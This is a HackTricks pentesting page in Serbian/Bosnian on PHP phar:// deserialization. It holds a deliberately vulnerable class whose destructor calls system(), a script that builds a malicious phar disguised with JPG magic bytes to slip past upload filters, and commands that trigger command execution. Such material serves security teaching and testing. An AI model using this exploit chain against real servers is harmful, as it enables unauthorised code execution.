hacktricks/pentesting-web/file-inclusion/phar-deserialization.md

# phar:// deserialization

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**Phar** datoteke (PHP Archive) **sadrže meta podatke u serijalizovanom formatu**, tako da, kada se analiziraju, ovi **meta podaci** se **deserijalizuju** i možete pokušati da iskoristite **vulnerabilnost deserijalizacije** unutar **PHP** koda.

Najbolja stvar u vezi sa ovom karakteristikom je da će se ova deserijalizacija dogoditi čak i korišćenjem PHP funkcija koje ne izvršavaju PHP kod kao što su **file\_get\_contents(), fopen(), file() ili file\_exists(), md5\_file(), filemtime() ili filesize()**.

Dakle, zamislite situaciju u kojoj možete naterati PHP veb da dobije veličinu proizvoljne datoteke koristeći **`phar://`** protokol, i unutar koda pronađete **klasu** sličnu sledećoj:

{% code title="vunl.php" %}
```php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path
```
{% endcode %}

Možete kreirati **phar** datoteku koja će, kada se učita, **iskoristiti ovu klasu za izvršavanje proizvoljnih komandi** sa nečim poput:

{% code title="create_phar.php" %}
```php
<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
```
{% endcode %}

Obratite pažnju na to kako su **magične bajtove JPG** (`\xff\xd8\xff`) dodate na početak phar datoteke kako bi se **zaobišle** **moguće** restrikcije **upload-a** **datoteka**.\
**Kompajlirajte** `test.phar` datoteku sa:
```bash
php --define phar.readonly=0 create_phar.php
```
I izvršite komandu `whoami` zloupotrebljavajući ranjivi kod sa:
```bash
php vuln.php
```
### References

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<details>

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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

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